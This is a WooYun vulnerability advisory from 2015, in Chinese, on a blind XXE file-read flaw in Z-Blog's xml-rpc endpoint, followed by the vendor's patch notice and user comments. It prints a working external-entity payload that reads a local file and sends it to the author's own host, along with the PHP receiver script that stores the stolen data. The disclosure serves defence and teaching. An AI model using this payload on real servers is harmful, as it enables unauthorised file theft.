当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098591

漏洞标题:Z-BLOG Blind-XXE造成任意文件读取

相关厂商:Z-Blog

漏洞作者: phith0n

提交时间:2015-02-27 16:57

修复时间:2015-06-02 16:59

公开时间:2015-06-02 16:59

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-27: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-04-28: 细节向核心白帽子及相关领域专家公开
2015-05-08: 细节向普通白帽子公开
2015-05-18: 细节向实习白帽子公开
2015-06-02: 细节向公众公开

简要描述:

看到雨牛发z-blog,我也来凑热闹。
一个Blind XXE教学,无需登录。

详细说明:

下载最新版Z-Blog:http://bbs.zblogcn.com/thread-88670-1-1.html
/zb_system/xml-rpc/index.php 641行:

$zbp->Load();
Add_Filter_Plugin('Filter_Plugin_Zbp_ShowError','RespondError');
$xmlstring = file_get_contents( 'php://input' );
//Logs($xmlstring);
$xml = simplexml_load_string($xmlstring);


可见,这里直接调用simple_load_string解析XML,造成了一个XML实体注入。
但观察后面的代码发现,需要用户、密码才能执行一些操作,得到回显,否则会报错。
没有回显的情况下,我们怎么来利用XXE,这里就说到一个blind xxe,在这篇文章都有详细的说明:
http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html
所以原理什么的我就不细说了,实际上我也是一知半解。主要看利用方法。
先在我主机上放一个接收文件的php(http://mhz.pw/xxe/get.php):

<?php
file_put_contents('01.txt', $_GET['xxe_local']);
?>


目的是将$_GET['xxe_local']存入本地文件01.txt。然后再构造一个xml,也保存在我的主机上,这个XML实际上就是真正读取文件的XML:

<!ENTITY % payload	SYSTEM	 "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://mhz.pw/xxe/get.php?xxe_local=%payload;'>">
%int;
%trick;


我们看到这个XML,他引用了外部实体c:/windows/win.ini作为payload的值,然后又将payload拼接到http://mhz.pw/xxe/get.php?xxe_local=%payload;,进行HTTP请求。
接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。
然后,我们向/zb_system/xml-rpc/index.php发包,让它来加载上面这个XML:

QQ20150227-2@2x.png


发包过去后,就会请求我们的evil_php.xml,解析这个xml造成XXE攻击,读取c:/windows/win.ini并进行base64编码后传给get.php,最后保存在我们的主机上:

QQ20150227-3@2x.png


QQ20150227-4@2x.png


用Blind XXE造成一个任意文件读取漏洞。

漏洞证明:

QQ20150227-3@2x.png


QQ20150227-4@2x.png

修复方案:

禁用外部实体。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-02 16:59

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

2015-03-09:非常感谢!确认晚了,着手处理中。

2015-03-09:非常抱歉,由于邮箱出现问题导致我们发现漏洞的时候已经晚了,进而平台自动忽略了本漏洞。近日将联系乌云对邮箱进行修改,非常感谢您的帮助!漏洞补丁已下发,详见http://blog.zblogcn.com/2015/03/09/79/。


漏洞评价:

评论

  1. 2015-02-27 17:01 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    厉害·

  2. 2015-02-27 17:02 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    坐看教学

  3. 2015-02-27 17:03 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    blackhat提到的那种么

  4. 2015-02-27 17:03 | izy ( 普通白帽子 | Rank:111 漏洞数:22 | http://1zy.pw/)

    坐看时雨牛教学~

  5. 2015-02-27 17:05 | ′雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    提交时间: 2015-02-27 14:59提交时间: 2015-02-27 16:57我草 挖+审核 才两个小时 师傅就是大屌 审核就是快

  6. 2015-02-27 19:24 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @′雨。 明天就出行了,所以抽点时间看看。写的比较仓促,错字比较多,重新编辑了一下~@疯狗 狗哥求审核。

  7. 2015-02-27 20:02 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    @phith0n 为何我们没有大大的V

  8. 2015-02-27 22:01 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @mango 因为是伪核心,没有认证

  9. 2015-03-02 19:22 | Mr.Lonely ( 路人 | Rank:0 漏洞数:1 | 努力成为一个有用的人。)

    @izy 我知道你是谁 O_o

  10. 2015-03-02 19:33 | izy ( 普通白帽子 | Rank:111 漏洞数:22 | http://1zy.pw/)

    @Mr.Lonely 你是?

  11. 2015-03-09 17:48 | Z-Blog(乌云厂商)

    话说怎么改分。。。。。

  12. 2015-03-09 17:54 | ′雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @Z-Blog 心酸 -.- 好不容易上个首页就忽略啦,

  13. 2015-03-09 18:02 | Z-Blog(乌云厂商)

    @′雨。 出事后检查了邮箱才发现POP收信出问题了,估计是最近一阵子改域名出的问题。。

  14. 2015-03-09 18:47 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @Z-Blog 没事,没事,修复了就好

  15. 2015-03-09 21:49 | Z-Blog(乌云厂商)

    @phith0n 感谢理解。。。。

  16. 2015-06-02 19:40 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    那以后测试xxe,还得增加一直方法测试啊,学习了